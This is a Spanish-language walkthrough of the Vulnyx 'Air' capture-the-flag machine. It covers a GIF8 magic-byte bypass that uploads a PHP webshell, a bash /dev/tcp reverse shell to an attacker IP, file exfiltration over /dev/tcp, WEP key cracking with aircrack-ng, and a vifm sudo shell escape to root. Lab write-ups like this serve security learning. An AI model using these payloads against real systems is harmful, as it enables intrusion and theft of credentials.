Post

Vulnyx - Air

Máquina Linux de nivel Easy de Vulnyx.

Técnicas usadas: File Upload, Information Leakage, Aircrack

Fase de Reconocimiento 🧣

Como primer punto, identificamos la dirección IP de la Máquina Vulnyx

1
2
3
4
root@kali> arp-scan -I eth0 --local --ignoredups

<SNIP>
192.168.100.74	08:00:27:c6:4f:1d	PCS Systemtechnik GmbH

a. Enumeramos los puertos que están abiertos.

1
2
3
4
5
❯ nmap -p- -sS --min-rate 5000 -Pn -n 192.168.100.74 -oG ports

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

b. Vemos las versiones de los servicios que se están ejecutando

1
2
3
4
5
6
7
8
9
10
11
❯ nmap -p22,80 -sCV 192.168.100.74 -oN versions

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.18.0
  • Vemos el dominio air.nyx el cual añadimos el /etc/hosts
1
2
3
4
cat /etc/hosts

...
192.168.100.72	air.nyx

c. Al visitar el sitio web del puerto 8080, tenemos un apartado para subir archivos. Si intentamos subir algunos archivos veremos el mensaje ‘The file is not a valid image.’, pero, si cambios los ‘magic numbers’ de un archivo .php por GIF8 nos dejará subir una webshell

1
2
3
GIF8

<?php system($_GET['cmd']); ?>

Shell

d. Hacemos fuzzing para identificar el directorio en el que se suben los archivos

1
2
3
4
❯ dirsearch -u 'http://air.nyx:8080/'

<SNIP>
[17:24:03] 403 -  555B  - /uploads/
  • Ahora podemos ejecutar comandos en la máquina víctima
1
2
3
4
❯ curl -s -X GET "http://air.nyx:8080/uploads/shell.php?cmd=whoami"
GIF8

www-data

e. Nos entablamos una reverse shell

1
2
3
4
❯ curl -s -X GET "http://air.nyx:8080/uploads/shell.php?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/192.168.100.55/4444%200>%261'"
------------------------------------------------------------------------------------
❯ nc -lvnp 4444
www-data@air:~/air/uploads$

Escalada de Privilegios 💹

  1. Hacemos el tratamiento de la TTY para trabajar de manera más cómoda con la reverse shell
1
2
3
4
5
6
7
8
9
www-data@air:~/air/uploads$ script /dev/null -c bash
www-data@air:~/air/uploads$ ^Z
[1]  + 15681 suspended  nc -lvnp 4444
❯ stty raw -echo;fg
[1]  + 15681 continued  nc -lvnp 4444
                                     reset xterm

www-data@air:~/air/uploads$ export TERM=xterm-256color
www-data@air:~/air/uploads$ source /etc/skel/.bashrc
  • Listamos los permisos a nivel de sudoers de este usuario
1
2
3
4
www-data@air:~/tmp$ sudo -l

User www-data may run the following commands on air:
    (sam) NOPASSWD: /opt/air-repeater
  • Al ejecutar este binario debemos obtener una contraseña, pero no la tenemos, por lo que buscamos archivos que puedan tener esta contraseña
  1. Encontramos el archivo backup-OpenWrt.tar.gz
1
2
www-data@air:~/html/files/key/2023_router_backup$ ls
backup-OpenWrt.tar.gz
  • Transferimos el este archivo a nuestra máquina
1
2
3
4
5
# Máquina Atacante
❯ nc -lvnp 4445 > backup-OpenWrt.tar.gz

# Máquina Air
www-data@air:~/html/files/key/2023_router_backup$ cat < backup-OpenWrt.tar.gz > /dev/tcp/[IP Máquina Atacante]/4445
  • Descomprimimos el archivos y filtramos por palabras clave
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ 7z x backup-OpenWrt.tar.gz
❯ tar -xf backup-OpenWrt.tar
❯ grep -E "key|pass" -r ./
./etc/opkg/keys/2f8b0b98e08306bf:untrusted comment: Public usign key for 21.02 release builds
./etc/profile:export HOME=$(grep -e "^${USER:-root}:" /etc/passwd | cut -d ":" -f 6)
./etc/profile:There is no root password defined on this device!
./etc/profile:Use the "passwd" command to set up a new password
./etc/config/wireless:  option key '42NsWajkZGlz'
./etc/config/luci-opkg: option passwd   "/etc/passwd"
./etc/config/uhttpd:    option key '/etc/uhttpd.key'
./etc/config/uhttpd:    option key_type 'ec'
./etc/config/rpcd:      option password '$p$root'
./etc/config/luci:      option passwd '/etc/passwd'
  • Encontramos una posible contraseña 42NsWajkZGlz
  1. La usamos en el binario anterior y nos convertirmos en el usuario sam
1
2
3
www-data@air:~/html/files/key/2023_router_backup$ sudo -u sam /opt/air-repeater 
Enter the password: 42NsWajkZGlz
Correct password!
  • Encontramos el archivo Air-Master.zip, lo transferimos a nuestra máquina
1
2
sam@air:/var/backups$ ls -al
-rw-------  1 xiao xiao    492 Nov  8 20:33 Air-Master.zip
  • Al descomprimirlo solo hay un archivo Air-Master-01.ivs

Los archivo .ivs contienen vectores de inicialización que son útiles para la generación de los datos cifrados en la red. Estos archivos pueden ser abiertos con aircrack-ng

1
2
3
4
5
6
7
8
9
aircrack-ng Air-Master-01.ivs -w /usr/share/wordlists/rockyou.txt

                          Aircrack-ng 1.7 

[00:00:01] <SNIP>/10303727 keys tested (6170.16 k/s) 

Time left: 27 minutes, 49 seconds                          0.03%

                    KEY FOUND! [ <SNIP> ]
  1. Revisamos los permisos a nivel de sudoers de este usuario
1
2
3
4
5
sam@air:/var/backups$ sudo -l
Matching Defaults entries for sam on air:
User sam may run the following commands on air:
    (xiao) NOPASSWD: /usr/bin/vifm
sam@air:/var/backups$ sudo -u xiao /usr/bin/vifm
  • Se abrirá un editor de texto, escribimos !/bin/bash y realizamos un user pivoting a xiao
  1. Por último, la contraseña crackeada con aircrack-ng, nos servirá para acceder como root
1
2
3
xiao@air:~$ su root
Password: 
root@air:/home/xiao # 
This post is licensed under CC BY 4.0 by the author.